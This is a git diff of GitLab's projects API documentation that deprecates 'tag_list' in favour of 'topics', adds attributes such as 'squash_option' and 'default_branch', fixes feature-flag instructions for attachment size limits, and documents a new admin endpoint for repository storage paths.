-| `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. | +| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | +| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. | | `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. | | `template_project_id` **(PREMIUM)** | integer | **{dotted-circle}** No | When used with `use_custom_template`, project ID of a custom project template. This is preferable to using `template_name` since `template_name` may be ambiguous. | +| `topics` | array | **{dotted-circle}** No | The list of topics for a project; put array of topics, that should be finally assigned to a project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | | `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). | | `wiki_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | @@ -1191,7 +1241,7 @@ POST /projects/user/:user_id | `name` | string | **{check-circle}** Yes | The name of the new project. | | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | | `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` | -| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | +| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. To configure approval rules, see [Merge request approvals API](merge_request_approvals.md). | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). | | `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. | @@ -1204,6 +1254,7 @@ POST /projects/user/:user_id | `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. | | `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. | | `description` | string | **{dotted-circle}** No | Short project description. | +| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. Requires `initialize_with_readme` to be `true`. | | `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. | | `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. | | `forking_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | @@ -1238,9 +1289,11 @@ POST /projects/user/:user_id | `show_default_award_emojis` | boolean | **{dotted-circle}** No | Show default award emojis. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | -| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. | -| `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. | +| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | +| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request [suggestions](../user/project/merge_requests/reviews/suggestions.md). | +| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. | | `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. | +| `topics` | array | **{dotted-circle}** No | The list of topics for the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | | `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). | | `wiki_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | @@ -1262,7 +1315,7 @@ PUT /projects/:id |-------------------------------------------------------------|----------------|------------------------|-------------| | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | | `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` | -| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. | +| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. To configure approval rules, see [Merge request approvals API](merge_request_approvals.md). | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual`, or `timed_incremental`). | | `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. | @@ -1282,7 +1335,7 @@ PUT /projects/:id | `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. | | `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. | | `forking_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `import_url` | string | **{dotted-circle}** No | URL to import repository from. | | `issues_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `issues_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable issues for this project. Use `issues_access_level` instead. | @@ -1316,13 +1369,16 @@ PUT /projects/:id | `show_default_award_emojis` | boolean | **{dotted-circle}** No | Show default award emojis. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | +| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | | `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. | -| `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. | +| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. | +| `topics` | array | **{dotted-circle}** No | The list of topics for the project. This replaces any existing topics that are already added to the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ | | `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). | | `wiki_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `wiki_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable wiki for this project. Use `wiki_access_level` instead. | | `issues_template` **(PREMIUM)** | string | **{dotted-circle}** No | Default description for Issues. Description is parsed with GitLab Flavored Markdown. See [Templates for issues and merge requests](#templates-for-issues-and-merge-requests). | | `merge_requests_template` **(PREMIUM)** | string | **{dotted-circle}** No | Default description for Merge Requests. Description is parsed with GitLab Flavored Markdown. See [Templates for issues and merge requests](#templates-for-issues-and-merge-requests). | +| `keep_latest_artifact` | boolean | **{dotted-circle}** No | Disable or enable the ability to keep the latest artifact for this project. | ## Fork project @@ -1338,11 +1394,11 @@ POST /projects/:id/fork | Attribute | Type | Required | Description | |------------------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `name` | string | **{dotted-circle}** No | The name assigned to the resultant project after forking. | | `namespace_id` | integer | **{dotted-circle}** No | The ID of the namespace that the project is forked to. | | `namespace_path` | string | **{dotted-circle}** No | The path of the namespace that the project is forked to. | -| `namespace` | integer/string | **{dotted-circle}** No | _(Deprecated)_ The ID or path of the namespace that the project is forked to. | +| `namespace` | integer or string | **{dotted-circle}** No | _(Deprecated)_ The ID or path of the namespace that the project is forked to. | | `path` | string | **{dotted-circle}** No | The path assigned to the resultant project after forking. | | `description` | string | **{dotted-circle}** No | The description assigned to the resultant project after forking. | | `visibility` | string | **{dotted-circle}** No | The [visibility level](#project-visibility-level) assigned to the resultant project after forking. | @@ -1361,7 +1417,7 @@ GET /projects/:id/forks | Attribute | Type | Required | Description | |-------------------------------|----------------|------------------------|-------------| | `archived` | boolean | **{dotted-circle}** No | Limit by archived status. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `membership` | boolean | **{dotted-circle}** No | Limit by projects that the current user is a member of. | | `min_access_level` | integer | **{dotted-circle}** No | Limit by current user minimal [access level](members.md#valid-access-levels). | | `order_by` | string | **{dotted-circle}** No | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. Default is `created_at`. | @@ -1393,7 +1449,11 @@ Example responses: "http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git", "web_url": "http://example.com/diaspora/diaspora-project-site", "readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora project" + ], + "topics": [ "example", "disapora project" ], @@ -1435,6 +1495,7 @@ Example responses: "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site", @@ -1462,7 +1523,7 @@ POST /projects/:id/star | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/star" @@ -1480,7 +1541,11 @@ Example response: "http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git", "web_url": "http://example.com/diaspora/diaspora-project-site", "readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora project" + ], + "topics": [ "example", "disapora project" ], @@ -1530,6 +1595,7 @@ Example response: "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site", @@ -1555,7 +1621,7 @@ POST /projects/:id/unstar | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unstar" @@ -1573,7 +1639,11 @@ Example response: "http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git", "web_url": "http://example.com/diaspora/diaspora-project-site", "readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora project" + ], + "topics": [ "example", "disapora project" ], @@ -1623,6 +1693,7 @@ Example response: "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site", @@ -1648,7 +1719,7 @@ GET /projects/:id/starrers | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | Search for specific users. | ```shell @@ -1694,7 +1765,7 @@ GET /projects/:id/languages | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/languages" @@ -1723,7 +1794,7 @@ POST /projects/:id/archive | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/archive" @@ -1741,7 +1812,11 @@ Example response: "http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git", "web_url": "http://example.com/diaspora/diaspora-project-site", "readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora project" + ], + "topics": [ "example", "disapora project" ], @@ -1810,6 +1885,7 @@ Example response: "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site", @@ -1837,7 +1913,7 @@ POST /projects/:id/unarchive | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unarchive" @@ -1855,7 +1931,11 @@ Example response: "http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git", "web_url": "http://example.com/diaspora/diaspora-project-site", "readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora project" + ], + "topics": [ "example", "disapora project" ], @@ -1924,6 +2004,7 @@ Example response: "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site", @@ -1963,7 +2044,7 @@ DELETE /projects/:id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ## Restore project marked for deletion **(PREMIUM)** @@ -1977,12 +2058,13 @@ POST /projects/:id/restore | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ## Upload a file Uploads a file to the specified project to be used in an issue or merge request -description, or a comment. +description, or a comment. GitLab versions 14.0 and later +[enforce](#max-attachment-size-enforcement) this limit. ```plaintext POST /projects/:id/uploads @@ -1991,7 +2073,7 @@ POST /projects/:id/uploads | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| | `file` | string | **{check-circle}** Yes | The file to be uploaded. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | To upload a file from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. The @@ -1999,7 +2081,8 @@ cURL to post data using the header `Content-Type: multipart/form-data`. The `@`. For example: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/5/uploads" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/5/uploads" ``` Returned object: @@ -2021,7 +2104,8 @@ the format in `markdown` is used. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57250) in GitLab 13.11. -GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/admin_area/settings/account_and_limit_settings.md#max-attachment-size) behind the `enforce_max_attachment_size_upload_api` feature flag. GitLab 14.0 will enable this by default. +GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/admin_area/settings/account_and_limit_settings.md#max-attachment-size) behind the `enforce_max_attachment_size_upload_api` feature flag. GitLab 14.0 enables this by default. +To disable this enforcement: **In Omnibus installations:** @@ -2031,10 +2115,10 @@ GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/ad sudo gitlab-rails console ``` -1. Enable the feature flag: +1. Disable the feature flag: ```ruby - Feature.enable(:enforce_max_attachment_size_upload_api) + Feature.disable(:enforce_max_attachment_size_upload_api) ``` **In installations from source:** @@ -2046,10 +2130,10 @@ GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/ad sudo -u git -H bundle exec rails console -e production ``` -1. Enable the feature flag to disable the validation: +1. Disable the feature flag: ```ruby - Feature.enable(:enforce_max_attachment_size_upload_api) + Feature.disable(:enforce_max_attachment_size_upload_api) ``` ## Upload a project avatar @@ -2063,7 +2147,7 @@ PUT /projects/:id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| | `avatar` | string | **{check-circle}** Yes | The file to be uploaded. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | To upload an avatar from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. The @@ -2073,7 +2157,8 @@ preceded by `@`. For example: Example request: ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "avatar=@dk.png" "https://gitlab.example.com/api/v4/projects/5" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "avatar=@dk.png" "https://gitlab.example.com/api/v4/projects/5" ``` Returned object: @@ -2097,7 +2182,7 @@ POST /projects/:id/share | `expires_at` | string | **{dotted-circle}** No | Share expiration date in ISO 8601 format: 2016-09-26 | | `group_access` | integer | **{check-circle}** Yes | The [access level](members.md#valid-access-levels) to grant the group. | | `group_id` | integer | **{check-circle}** Yes | The ID of the group to share with. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ## Delete a shared project link within a group @@ -2110,7 +2195,7 @@ DELETE /projects/:id/share/:group_id | Attribute | Type | Required | Description | |------------|----------------|------------------------|-------------| | `group_id` | integer | **{check-circle}** Yes | The ID of the group. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17" @@ -2131,7 +2216,7 @@ GET /projects/:id/hooks | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ### Get project hook @@ -2144,7 +2229,7 @@ GET /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|---------------------------| | `hook_id` | integer | **{check-circle}** Yes | The ID of a project hook. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```json { @@ -2183,7 +2268,7 @@ POST /projects/:id/hooks | `confidential_note_events` | boolean | **{dotted-circle}** No | Trigger hook on confidential note events. | | `deployment_events` | boolean | **{dotted-circle}** No | Trigger hook on deployment events. | | `enable_ssl_verification` | boolean | **{dotted-circle}** No | Do SSL verification when triggering the hook. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `issues_events` | boolean | **{dotted-circle}** No | Trigger hook on issues events. | | `job_events` | boolean | **{dotted-circle}** No | Trigger hook on job events. | | `merge_requests_events` | boolean | **{dotted-circle}** No | Trigger hook on merge requests events. | @@ -2211,7 +2296,7 @@ PUT /projects/:id/hooks/:hook_id | `deployment_events` | boolean | **{dotted-circle}** No | Trigger hook on deployment events. | | `enable_ssl_verification` | boolean | **{dotted-circle}** No | Do SSL verification when triggering the hook. | | `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `issues_events` | boolean | **{dotted-circle}** No | Trigger hook on issues events. | | `job_events` | boolean | **{dotted-circle}** No | Trigger hook on job events. | | `merge_requests_events` | boolean | **{dotted-circle}** No | Trigger hook on merge requests events. | @@ -2237,7 +2322,7 @@ DELETE /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| | `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | Note the JSON response differs if the hook is available or not. If the project hook is available before it's returned in the JSON response or an empty response @@ -2257,7 +2342,7 @@ POST /projects/:id/fork/:forked_from_id | Attribute | Type | Required | Description | |------------------|----------------|------------------------|-------------| | `forked_from_id` | ID | **{check-circle}** Yes | The ID of the project that was forked from. | -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ### Delete an existing forked from relationship @@ -2267,7 +2352,7 @@ DELETE /projects/:id/fork | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ## Search for projects by name @@ -2297,7 +2382,7 @@ POST /projects/:id/housekeeping | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ## Push Rules **(PREMIUM)** @@ -2312,7 +2397,7 @@ GET /projects/:id/push_rule | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | ```json { @@ -2364,7 +2449,7 @@ POST /projects/:id/push_rule | `commit_message_regex` | string | **{dotted-circle}** No | All commit messages must match this, for example `Fixed \d+\..*`. | | `deny_delete_tag` | boolean | **{dotted-circle}** No | Deny deleting a tag. | | `file_name_regex` | string | **{dotted-circle}** No | All committed filenames must **not** match this, for example `(jar|exe)$`. | -| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding), | | `max_file_size` | integer | **{dotted-circle}** No | Maximum file size (MB). | | `member_check` | boolean | **{dotted-circle}** No | Restrict commits by author (email) to existing GitLab users. | | `prevent_secrets` | boolean | **{dotted-circle}** No | GitLab rejects any files that are likely to contain secrets. | @@ -2387,7 +2472,7 @@ PUT /projects/:id/push_rule | `commit_message_regex` | string | **{dotted-circle}** No | All commit messages must match this, for example `Fixed \d+\..*`. | | `deny_delete_tag` | boolean | **{dotted-circle}** No | Deny deleting a tag. | | `file_name_regex` | string | **{dotted-circle}** No | All committed filenames must **not** match this, for example `(jar|exe)$`. | -| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `max_file_size` | integer | **{dotted-circle}** No | Maximum file size (MB). | | `member_check` | boolean | **{dotted-circle}** No | Restrict commits by author (email) to existing GitLab users. | | `prevent_secrets` | boolean | **{dotted-circle}** No | GitLab rejects any files that are likely to contain secrets. | @@ -2406,7 +2491,7 @@ DELETE /projects/:id/push_rule | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ## Transfer a project to a new namespace @@ -2418,8 +2503,8 @@ PUT /projects/:id/transfer | Attribute | Type | Required | Description | |-------------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `namespace` | integer/string | **{check-circle}** Yes | The ID or path of the namespace to transfer to project to. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `namespace` | integer or string | **{check-circle}** Yes | The ID or path of the namespace to transfer to project to. | Example request: @@ -2439,7 +2524,8 @@ Example response: "path_with_namespace": "cute-cats/hello-world", "created_at": "2020-10-15T16:25:22.415Z", "default_branch": "master", - "tag_list": [], + "tag_list": [], //deprecated, use `topics` instead + "topics": [], "ssh_url_to_repo": "git@gitlab.example.com:cute-cats/hello-world.git", "http_url_to_repo": "https://gitlab.example.com/cute-cats/hello-world.git", "web_url": "https://gitlab.example.com/cute-cats/hello-world", @@ -2521,6 +2607,7 @@ Example response: "remove_source_branch_after_merge": true, "printing_merge_request_link_enabled": true, "merge_method": "merge", + "squash_option": "default_on", "suggestion_commit_message": null, "auto_devops_enabled": true, "auto_devops_deploy_strategy": "continuous", @@ -2566,7 +2653,7 @@ POST /projects/:id/mirror/pull | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/mirror/pull" @@ -2595,5 +2682,30 @@ GET /projects/:id/snapshot | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `wiki` | boolean | **{dotted-circle}** No | Whether to download the wiki, rather than project, repository. | + +## Get the path to repository storage + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29861) in GitLab 14.0. + +Get the path to repository storage for specified project. Available for administrators only. + +```plaintext +GET /projects/:id/storage +``` + +| Attribute | Type | Required | Description | +|--------------|----------------|------------------------|-------------| +| `id` | integer or string | **{check-circle}** Yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | + +```json +[ + { + "project_id": 1, + "disk_path": "@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b", + "created_at": "2012-10-12T17:04:47Z", + "repository_storage": "default" + } +] +``` diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md index e5560360532..2fe821a7758 